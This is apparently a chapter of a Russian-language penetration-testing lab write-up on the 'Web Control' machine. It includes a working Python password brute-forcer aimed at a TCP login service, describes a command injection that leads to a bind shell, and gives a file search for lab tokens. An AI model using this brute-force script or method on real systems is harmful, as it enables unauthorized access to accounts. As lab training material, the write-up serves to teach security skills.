Глава 4
Предыдущая главаСледующая глава
Оглавление
Приветствую вас колеги.
Сегодня настало время очередного токена.
Сегодня будем побеждать Web Control (192.168.0.6) и рассмотрим такой вектор как Command Injection.
Почитать про Command Injection можно
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
. Но также вспомним про атаку на слабые пароли методом брутфорса.Для начала ,как всегда просканим порты:
Пробуем подключится с помощью нетката:
Видим обычную tcp socket аутентификацию... Первое что на ум приходит при встрече с аутентификацией - это перебор пароля на легкие словарные пароли.
Что мы в первую очередь и будем пробовать.
Для удобства я пробросил порт,как это делать я описывал в прошлой статье
Но стандартных брутфорсов для таких целей я также пока не встречал,по этому на помощь снова приходят базовые знание программирования на питон. Набросал простенький скрипт для перебора паролей - я прогнал его по учетным записям из уже известным нам (которые мы получили на ssh машине) ,но увы мой брутфорс не дал результатов. И спустя некоторое время ковыряясь в этой корпоративной сети ,на некоторых машинах я замечал что при попытке сброса пароля например на клауде(cloud "172.16.0.3") я заметил что существует учетная запись admin. И тут на ум приходит прогнать брутфорс еще по таким учеткам как admin,root,cloud,user,test.
Брутил я словарю из john the ripper:
Я не гуру в программирование на питон,и по этому мой скрипт выглядит совсем по простому,
я использовал там только цикл для перебора по словарю,библиотеку socket для работы с tcp соединением,и обычное if else условия).Выглядит мой скрипт примерно так:
Python:
import socket
from termcolor import colored
users=['admin','root','user']
with open('pass.txt','r') as fs:
for p in fs.readlines():
for n in users:
sock = socket.socket()
sock.connect(('127.0.0.1', 1503))
sock.recv(1024)
sock.send(n+"\n")
sock.recv(1024)
sock.send(p.strip()+"\n")
data=sock.recv(1024)
sock.close()
if 'Error!' in data:
print colored('[-] ','red')+colored(n,'yellow')+' '+colored(p,'yellow')
else:
print colored("[+]Good ","green") +colored(n,'cyan')+' '+colored(p,'cyan')
break
if 'Error' not in data:
print colored("[ *** ] Brute Finished Succes!","magenta")
break
массив пользователей из трех на мой взгляд распространенных учетных записей.Затем циклически перебрал словарь,и если в ответе сервера не было фразы "Error!" то закончить цикл и вывести логин и пароль который подошел к tcp socket аутентификации.
В деле это выглядит как то так:
Получил логин и пароль,пробуем подключится. Подключившись замечаем работу какого то приложения которое работает в интерактивном режиме и которое запрашивает пользовательский ввод,а везде есть пользовательский ввод - запомните!!!- это уже повод думать что там может быть инъекция!!!!!
Вооружившись знаниями об command injection пробуем различные варианты выполнить инъекцию.
Здесь мы использовали Bind Shell , потому что ssh машина (172.16.0.8) и web_control машина (192.168.0.6) находятся в разных сегментах сети.
Подробнее о том что такое bind и reverse shell можете прочесть в моей статье для новичков.
Дальше дело за малым) Найти токен) Первым делом когда попадаю на машину я пользуюсь командой
find для поиска имен файлов которые в своем имени содержат слово "token"
Выглядит моя команда так:
Код:
find / -type f -name "*token*"
Всем спасибо) Продолжение следует)
Если понравилась статья - ставь лайк) Мне будет приятно)
Вот демо-видео :
Следующая глава
Оглавление